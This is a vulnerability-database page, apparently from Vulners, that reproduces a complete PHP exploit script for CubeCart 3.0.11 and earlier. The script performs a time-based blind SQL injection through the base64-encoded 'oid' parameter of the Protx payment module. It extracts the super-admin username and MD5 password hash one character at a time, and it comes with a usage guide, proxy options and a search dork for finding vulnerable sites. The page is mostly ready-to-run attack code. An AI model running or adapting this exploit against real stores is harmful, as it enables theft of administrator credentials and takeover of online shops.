Lucene search
K

CubeCart <= 3.0.11 (oid) Remote Blind SQL Injection Exploit

🗓️ 06 Dec 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

CubeCart <= 3.0.11 Remote Blind SQL Injection Exploi

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&lt;?
print_r('
--------------------------------------------------------------------------------
CubeCart &lt;= 3.0.11 &quot;oid&quot; blind SQL injection / admin credentials
disclosure exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dork: &quot;Copyright Devellion Limited 2005. All rights reserved.&quot;
-&gt; this works against MySQL &gt;=4.1 (allowing subs)
--------------------------------------------------------------------------------
');

/* short explaination:

 software site: http://www.cubecart.com/site/home/

 same kind of sql injection of http://retrogod.altervista.org/cubecart_3011_sql.html
 but this bypass magic_quotes_gpc=On because of base64_decode() function used in
 /modules/gateway/Protx/confirmed.php used near lines:
 ...
	if($success == TRUE){

		$cart_order_id = base64_decode($_GET['oid']);
		include_once(&quot;../../../includes/orderSuccess.inc.php&quot;);
		$result = &quot;?pg=&quot;.base64_encode(&quot;Protx&quot;);

	} else {
...
									      */
if ($argc&lt;3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to CubeCart
Options:
 -T[prefix]:  specify a table prefix different from default (CubeCart_)
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -a           adjust the first argument to pass to benchamrk() function
 -s:          use sleep() (this function was added in MySQL 5.0.12.) instead of
	      benchmark()
 -d           disclose table prefix (reccomended)
Example:
php '.$argv[0].' localhost /cubecart/
php '.$argv[0].' localhost /cubecart/ -a200000 -Tcube_
--------------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i&lt;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 ))
   {$result.=&quot;  .&quot;;}
   else
   {$result.=&quot;  &quot;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&quot; &quot;.dechex(ord($string[$i]));}
   else
   {$exa.=&quot; 0&quot;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&quot;\r\n&quot;; $exa.=&quot;\r\n&quot;;}
  }
 return $exa.&quot;\r\n&quot;.$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &quot;\r\n&quot;.$html;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix=&quot;CubeCart_&quot;;
$delay_func=&quot;benchmark(2000000,sha1('suntzu'))&quot;;
$dt=0;

$proxy=&quot;&quot;;
for ($i=3; $i&lt;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&quot;-p&quot;)
{
  $port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-P&quot;)
{
  $proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-T&quot;)
{
  $prefix=str_replace(&quot;-T&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-a&quot;)
{
  $delay_func=&quot;benchmark(&quot;.intval(str_replace(&quot;-a&quot;,&quot;&quot;,$argv[$i])).&quot;,sha1('suntzu'))&quot;;
}
if ($temp==&quot;-s&quot;)
{
  $delay_func=&quot;sleep(11)&quot;;
}
if ($temp==&quot;-d&quot;)
{
  $dt=1;
}
}
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($dt)
{
$packet =&quot;GET &quot;.$p.&quot;modules/gateway/Protx/confirmed.php?oid=&quot;.base64_encode(&quot;'&quot;).&quot;&amp;crypt=1 HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
#echo quick_dump($packet);
sendpacketii($packet);
if (eregi(&quot;in your SQL syntax&quot;,$html))
{
$temp=explode(&quot;UPDATE &quot;,$html);
$temp2=explode(&quot;sessions&quot;,$temp[1]);
$prefix=$temp2[0];
echo &quot;prefix -&gt; &quot;.$prefix.&quot;\n&quot;;
}
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password=&quot;&quot;;
while (!strstr($password,chr(0)))
{
for ($i=0; $i&lt;=255; $i++)
{
if (in_array($i,$chars))
{
$sql=&quot;999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(password,&quot;.$j.&quot;,1))=&quot;.$i.&quot;),&quot;.$delay_func.&quot;,0))/**/FROM/**/&quot;.$prefix.&quot;admin_users/**/WHERE/**/isSuper=1)/*&quot;;
echo &quot;sql -&gt; &quot;.$sql.&quot;\n&quot;;
$sql=base64_encode($sql);
echo &quot;encoded -&gt; &quot;.$sql.&quot;\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;modules/gateway/Protx/confirmed.php?oid=$sql&amp;crypt=1 HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
#echo quick_dump($packet);
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo &quot;starttime -&gt; &quot;.$starttime.&quot;\n&quot;;
echo &quot;endtime -&gt; &quot;.$endtime.&quot;\n&quot;;
$difftime=$endtime - $starttime;
echo &quot;difftime -&gt; &quot;.$difftime.&quot;\n&quot;;
if ($difftime &gt; 10) {$password.=chr($i);echo &quot;password -&gt; &quot;.$password.&quot;[???]\n&quot;;sleep(1);break;}
}
if ($i==255) {die(&quot;Exploit failed...&quot;);}
}
$j++;
}

$j=1;$admin=&quot;&quot;;
while (!strstr($admin,chr(0)))
{
for ($i=0; $i&lt;=255; $i++)
{
$sql=&quot;999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(username,&quot;.$j.&quot;,1))=&quot;.$i.&quot;),&quot;.$delay_func.&quot;,0))/**/FROM/**/&quot;.$prefix.&quot;admin_users/**/WHERE/**/isSuper=1)/*&quot;;
echo &quot;sql -&gt; &quot;.$sql.&quot;\n&quot;;
$sql=base64_encode($sql);
echo &quot;encoded -&gt; &quot;.$sql.&quot;\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;modules/gateway/Protx/confirmed.php?oid=$sql&amp;crypt=1 HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
#echo quick_dump($packet);
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo &quot;starttime -&gt; &quot;.$starttime.&quot;\n&quot;;
echo &quot;endtime -&gt; &quot;.$endtime.&quot;\n&quot;;
$difftime=$endtime - $starttime;
echo &quot;difftime -&gt; &quot;.$difftime.&quot;\n&quot;;
if ($difftime &gt; 10) {$admin.=chr($i);echo &quot;admin -&gt; &quot;.$admin.&quot;[???]\n&quot;;sleep(1);break;}
if ($i==255) {die(&quot;Exploit failed...&quot;);}
}
$j++;
}
print_r('
--------------------------------------------------------------------------------
admin          -&gt; '.$admin.'
password (md5) -&gt; '.$password.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
 if (ereg(&quot;^[a-f0-9]{32}&quot;,trim($hash))) {return true;}
 else {return false;}
}
if (is_hash($password)) {echo &quot;Exploit succeeded...&quot;;}
else {echo &quot;Exploit failed...&quot;;}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Dec 2006 00:00Current
7.1High risk
Vulners AI Score7.1
16